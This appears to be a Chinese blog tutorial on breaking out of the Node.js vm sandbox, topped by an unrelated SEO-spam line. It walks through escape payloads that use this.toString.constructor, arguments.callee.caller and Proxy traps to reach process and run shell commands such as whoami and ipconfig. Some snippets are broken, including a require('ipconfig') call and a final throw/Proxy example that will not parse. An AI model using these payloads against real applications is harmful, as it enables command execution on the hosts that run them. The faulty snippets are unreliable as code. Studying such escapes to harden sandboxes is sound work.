關鍵詞代發(fā)排名首頁seo在線優(yōu)化工具 si
目錄
一、什么是沙箱(sandbox)
二、沙箱技術的實現(xiàn) &?node.js
2.1簡單沙箱程序示例?
2.2this.tostring
S1:
S2:
?三、arguments.callee.caller
一、什么是沙箱(sandbox)
在計算機安全性方面,沙箱(沙盒、sanbox)是分離運行程序的安全機制,提供一個隔離環(huán)境以運行程序。通常情況下,在沙箱環(huán)境下運行的程序訪問計算機資源會受到限制或者禁止,資源包括內(nèi)存、網(wǎng)絡訪問、主機系統(tǒng)等等。
沙箱通常用于執(zhí)行不受信任的程序或代碼,例如用戶輸入、第三方模塊等等。其目的為了減少或者避免軟件漏洞對計算機造成破壞的風險。
二、沙箱技術的實現(xiàn) &?node.js
沙箱技術按照設定的安全策略,限制不可信程序?qū)ο到y(tǒng)資源的使用來實現(xiàn),那么就要在訪問系統(tǒng)資源之前將程序的系統(tǒng)調(diào)用攔截下來,然后按照安全策略對調(diào)用進行審查。
基于JavaScript的node.js有一些提供沙箱環(huán)境的模塊,它們也根據(jù)這樣的思路來實現(xiàn),例如 vm2 模塊使用到了 ES6 提供的新特性–Proxy。
Proxy?對象用于創(chuàng)建一個對象的代理,從而實現(xiàn)基本操作的攔截和自定義(如屬性查找、賦值、枚舉、函數(shù)調(diào)用等)
簡單地說,就是在對某個對象進行操作之前,例如訪問它的屬性或者調(diào)用它的方法,先傳遞給與對象綁定的 Proxy ,由 Proxy 執(zhí)行具體的邏輯。
2.1簡單沙箱程序示例?
const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
執(zhí)行結果
2.2this.tostring
在2.1示例中我們可以使用this引入上下文中沒有的外部模塊從而繞過此隔離模塊
const process = this.toString.constructor('return process')()
process.mainModule.require('ipconfig').execSync('curl -I http://www.baidu.com').toString()`
第一行this.toString獲取到一個函數(shù)對象,this.toString.constructor獲取到函數(shù)對象的構造器(function),構造器中可以傳入字符串類型的代碼。然后在執(zhí)行,即可獲得process對象。
第二行,利用前面獲取的process對象既可以干任何事。
執(zhí)行結果
??
S1:
為什么我們不直接使用{}.toString.constructor('return process')(),卻要使用this呢?
{}是屬于沙箱內(nèi)的一個對象我們即使使用則這個方法也無法獲取process而this是沙箱外的一個對象它可以幫助我i們獲取process
重點:引入沙箱外對象
S2:
m和n也是沙盒外的對象,為什么也不能用m.toString.constructor('return process')()呢?
原因就是因為primitive types,數(shù)字、字符串、布爾等這些都是primitive types,他們的傳遞其實傳遞的是值而不是引用,所以在沙盒內(nèi)雖然你也是使用的m,但是這個m和外部那個m已經(jīng)不是一個m了,所以也是無法利用的 ?、
S2衍生
我們可以通過改變context:{m: [], n: {}, x: /regexp/}使得m,n,x可以引用
??
?三、arguments.callee.caller
有這么一段代碼它的上下文不存在this也不存在別的對象比如下面這段代碼
const vm = require('vm'); const script = `...`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res)
由于在 JavaScript 中,this 關鍵字的值取決于函數(shù)的執(zhí)行上下文。在全局作用域中,this 通常指向全局對象(如瀏覽器環(huán)境中的 window 對象,Node.js 環(huán)境中的 global 對象)。但是,在使用 Object.create(null) 創(chuàng)建的對象上下文中,this 將為 null。
在這種情況下我們前面提到的“this法”失效了此時該如何逃逸?
我們可以借助arguments對象。arguments是在函數(shù)執(zhí)行的時候存在的一個變量,我們可以通過arguments.callee.caller獲得調(diào)用這個函數(shù)的調(diào)用者。
在 JavaScript 中,arguments.callee 和 arguments.caller 都是用于訪問函數(shù)調(diào)用相關信息的特殊屬性。然而,這兩個屬性都已經(jīng)被棄用(deprecated)并不再建議使用,因為它們在嚴格模式("strict mode")下會導致錯誤。
若此時我們在沙盒中定義一個函數(shù)并且返回,在沙盒外這個函數(shù)被調(diào)用,那么此時的arguments.callee.caller就是沙盒外的這個調(diào)用者,我們再通過這個調(diào)用者拿到它的constructor等屬性,就可以繞過沙箱了。
那么通過如下代碼就可實現(xiàn)上述例子的沙箱繞過
(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('ipconfig').toString() } return a })()
const vm = require('vm'); const script = `(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('ipconfig').toString() } return a })()`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res)
執(zhí)行后可獲得ip
上述代碼觸發(fā)條件在于console.log('Hello ' + res) 也就是字符串觸發(fā)
S1:若沙箱外沒有字符串相關操作此時該怎么辦?
可以使用Proxy來劫持所有屬性,只要沙箱外獲取了屬性,我們?nèi)匀豢梢杂脕韴?zhí)行惡意代碼
代碼如下
const vm = require('vm'); const script = `...`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res.xxx)
可以看到在這樣一個代碼中第一種方法已經(jīng)不適用了此時我們就需要用到proxy劫持外部get
(() => { const a = new Proxy({}, { get: function() { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString()} }) return a })()
?
S2:若沙箱外既沒有字符串且沙箱的返回值沒有做任何事,或者沒有捕捉返回值
此時我們可以借助異常,把我們沙箱內(nèi)的對象拋出去,如果外部有捕捉異常的(如日志)邏輯,則也可能觸發(fā)漏洞
vm = require('vm'); const code5 = 'throw new proxy{}, {get :function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString()}
})
;' try { vm.runInContext(code5, vm.createContext(Object.create(null))); }catch(e){ console.log('error happend: ' + e); }
?